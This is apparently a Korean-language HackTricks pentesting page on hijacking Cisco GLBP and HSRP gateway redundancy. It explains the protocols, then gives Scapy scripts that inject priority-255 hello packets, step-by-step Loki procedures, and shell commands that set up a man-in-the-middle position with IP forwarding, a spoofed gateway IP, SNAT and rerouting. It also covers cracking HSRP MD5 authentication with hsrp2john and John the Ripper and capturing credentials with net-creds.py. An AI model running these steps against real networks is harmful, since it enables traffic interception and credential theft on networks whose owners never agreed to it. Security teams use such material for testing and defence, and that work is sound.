GLBP & HSRP 공격

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

FHRP 하이재킹 개요

FHRP에 대한 설명

FHRP는 여러 라우터를 단일 가상 장치로 통합해 네트워크의 강인성, 로드 분산 및 장애 허용성을 제공하도록 설계되었습니다. Cisco Systems는 이 계열에 GLBP와 HSRP 같은 주요 프로토콜을 도입했습니다.

GLBP 프로토콜 설명

Cisco가 만든 GLBP는 TCP/IP 스택에서 동작하며 통신에 UDP 포트 3222를 사용합니다. GLBP 그룹의 라우터들은 3초 간격으로 “hello” 패킷을 교환합니다. 라우터가 10초 동안 이 패킷을 보내지 않으면 오프라인으로 간주됩니다. 다만 이 타이머들은 고정되어 있지 않으며 수정할 수 있습니다.

GLBP의 IPv6 동작은 UDP/3222를 통한 멀티캐스트 FF02::66을 사용하고, 가상 MAC 형식은 0007.b4xx.xxyy가 됩니다 (AVF ID는 마지막 바이트에 위치). 타이밍과 공격 표면은 IPv4와 동일하므로 듀얼스택 네트워크에서도 하이재킹 기법이 작동합니다.

GLBP 동작과 로드 분산

GLBP는 단일 가상 IP와 다수의 가상 MAC 주소를 사용해 라우터 간의 로드 분산을 가능하게 합니다. GLBP 그룹에서는 모든 라우터가 패킷 포워딩에 관여합니다. HSRP/VRRP와 달리 GLBP는 여러 메커니즘을 통해 실제로 로드 밸런싱을 제공합니다:

  • Host-Dependent Load Balancing: 호스트에 대해 일관된 AVF MAC 주소 할당을 유지하여 안정적인 NAT 구성에 중요합니다.
  • Round-Robin Load Balancing: 기본 동작으로, 요청하는 호스트들 사이에서 AVF MAC 주소를 번갈아 할당합니다.
  • Weighted Round-Robin Load Balancing: 미리 정의된 “Weight” 메트릭에 따라 로드를 분배합니다.

GLBP의 주요 구성 요소 및 용어

  • AVG (Active Virtual Gateway): MAC 주소를 피어 라우터들에게 할당하는 주 라우터입니다.
  • AVF (Active Virtual Forwarder): 네트워크 트래픽을 처리하도록 지정된 라우터입니다.
  • GLBP Priority: AVG를 결정하는 메트릭으로 기본값은 100이고 1에서 255 사이입니다.
  • GLBP Weight: 라우터의 현재 부하를 반영하며 수동으로 또는 Object Tracking을 통해 조정할 수 있습니다.
  • GLBP Virtual IP Address: 네트워크에 연결된 모든 장치의 기본 게이트웨이로 동작합니다.

상호작용을 위해 GLBP는 예약된 멀티캐스트 주소 224.0.0.102와 UDP 포트 3222를 사용합니다. 라우터는 3초 간격으로 “hello” 패킷을 전송하며, 10초 동안 패킷을 놓치면 비작동으로 간주됩니다.

GLBP 공격 메커니즘

공격자는 우선 순위 값이 가장 높은 GLBP 패킷(255)을 전송하여 주 라우터가 될 수 있습니다. 이는 DoS 또는 MITM 공격으로 이어져 트래픽을 가로채거나 리디렉션할 수 있습니다.

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

payload bytes를 제작하여 GLBP header (version/opcode/priority/weight/VRID)를 모방하세요. 프레임을 반복 전송하면 authentication이 없을 경우 AVG election에서 승리하게 됩니다.

Loki로 GLBP Attack 실행

Loki는 priority와 weight가 255로 설정된 패킷을 주입하여 GLBP attack을 수행할 수 있습니다. 공격 전 단계로는 virtual IP address, authentication 존재 여부, router priority values 등과 같은 정보를 Wireshark 같은 도구로 수집하는 것이 포함됩니다.

Attack Steps:

  1. promiscuous mode로 전환하고 IP forwarding을 활성화합니다.
  2. 대상 라우터를 식별하고 해당 IP를 확인합니다.
  3. Gratuitous ARP를 생성합니다.
  4. AVG를 사칭하는 악성 GLBP 패킷을 주입합니다.
  5. 공격자의 네트워크 인터페이스에 GLBP virtual IP를 복제한 secondary IP 주소를 할당합니다.
  6. 완전한 트래픽 가시성을 위해 SNAT을 구현합니다.
  7. 원래 AVG 라우터를 통해 인터넷 접근을 계속 유지하도록 라우팅을 조정합니다.

이 단계들을 따르면 공격자는 “man in the middle” 위치를 확보하여 암호화되지 않았거나 민감한 데이터를 포함한 네트워크 트래픽을 가로채고 분석할 수 있습니다.

데모를 위해, 필요한 명령 스니펫은 다음과 같습니다:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.

수동 설명: HSRP Hijacking (명령 세부사항 포함)

Overview of HSRP (Hot Standby Router/Redundancy Protocol)

HSRP는 네트워크 게이트웨이의 중복성을 위해 Cisco가 만든 독점 프로토콜입니다. 여러 개의 물리적 라우터를 단일 논리 유닛으로 구성하여 공유 IP 주소를 사용하게 합니다. 이 논리 유닛은 트래픽을 라우팅하는 책임이 있는 주 라우터에 의해 관리됩니다. GLBP와 달리(우선순위나 weight 같은 메트릭을 사용한 로드밸런싱), HSRP는 트래픽 관리를 위해 단일 active 라우터에 의존합니다.

HSRPv1은 multicast 224.0.0.2와 virtual MAC 0000.0c07.acXX를 사용합니다; HSRPv2 and HSRPv2 for IPv6는 224.0.0.102 / FF02::66와 virtual MAC 0000.0c9f.fXXX를 사용합니다. UDP destination port는 IPv4의 경우 1985, IPv6의 경우 2029입니다.

Roles and Terminology in HSRP

  • HSRP Active Router: 게이트웨이 역할을 하며 트래픽 흐름을 관리하는 장비입니다.
  • HSRP Standby Router: Active 라우터에 문제가 생겼을 때 즉시 역할을 인계받을 준비가 된 백업 라우터입니다.
  • HSRP Group: 단일 탄력적 가상 라우터를 형성하기 위해 협력하는 라우터들의 집합입니다.
  • HSRP MAC Address: HSRP 설정에서 논리 라우터에 할당된 가상 MAC 주소입니다.
  • HSRP Virtual IP Address: 연결된 장치들의 기본 게이트웨이 역할을 하는 HSRP 그룹의 가상 IP 주소입니다.

HSRP Versions

HSRP는 HSRPv1과 HSRPv2의 두 가지 버전이 있으며, 주로 그룹 수용력, 멀티캐스트 IP 사용, 가상 MAC 주소 구조에서 차이가 납니다. 이 프로토콜은 서비스 정보 교환을 위해 특정 멀티캐스트 IP 주소를 사용하며, Hello 패킷은 매 3초마다 전송됩니다. 10초 간격 내에 패킷을 수신하지 못하면 해당 라우터는 비활성으로 간주됩니다.

HSRP Attack Mechanism

HSRP 공격은 최대 우선순위 값을 주입하여 Active Router의 역할을 강제로 탈취하는 것을 포함합니다. 이는 Man-In-The-Middle (MITM) 공격으로 이어질 수 있습니다. 사전 공격 단계로는 HSRP 설정에 대한 데이터를 수집하는 것이 필요하며, 이는 트래픽 분석을 위해 Wireshark를 사용해 수행할 수 있습니다.

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

If authentication is not configured, continuously sending hellos with higher priority forces peers into Speak/Listen states and lets you become Active, redirecting traffic through your host.

HSRP authentication corner cases

  • Legacy plain-text auth는 쉽게 스푸핑 가능하다.
  • MD5 authentication은 HSRP 페이로드만 보호하므로, 조작된 패킷으로 제어 플레인을 rate-limit/DoS할 수 있다. 일부 NX-OS 릴리스는 인증된 그룹에 대해 DoS를 허용한 적이 있다(참조: Cisco advisory CSCup11309).
  • 많은 ISP / VPS 공유 VLAN에서 HSRPv1 multicasts가 테넌트에 노출되므로, 인증이 없으면 참가해 트래픽을 선점(preempt)할 수 있다.

Steps for Bypassing HSRP Authentication

  1. HSRP 데이터를 포함한 네트워크 트래픽을 .pcap 파일로 저장한다.
tcpdump -w hsrp_traffic.pcap
  1. hsrp2john.py를 사용해 .pcap에서 MD5 해시를 추출한다.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. John the Ripper로 MD5 해시를 크랙한다.
john --wordlist=mywordlist.txt hsrp_hashes

Executing HSRP Injection with Loki

  1. Loki를 실행해 HSRP advertisements를 식별한다.
  2. 네트워크 인터페이스를 promiscuous 모드로 설정하고 IP forwarding을 활성화한다.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Loki로 특정 라우터를 타겟팅하고, 크랙한 HSRP 패스워드를 입력한 뒤 Active Router를 사칭하기 위한 설정을 수행한다.
  2. Active Router 역할을 획득한 후, 네트워크 인터페이스와 IP tables를 구성해 정규 트래픽을 가로챈다.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. 라우팅 테이블을 수정해 트래픽이 이전 Active Router를 경유하도록 설정한다.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. 가로챈 트래픽에서 자격증명(credentials)을 캡처하려면 net-creds.py나 유사 도구를 사용한다.
sudo python2 net-creds.py -i eth0

이 절차를 수행하면 공격자는 트래픽을 가로채고 조작할 수 있는 위치를 확보하게 되며, 이는 GLBP hijacking 절차와 유사하다. 이는 HSRP와 같은 redundancy 프로토콜의 취약성을 보여주며 강력한 보안 조치의 필요성을 강조한다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기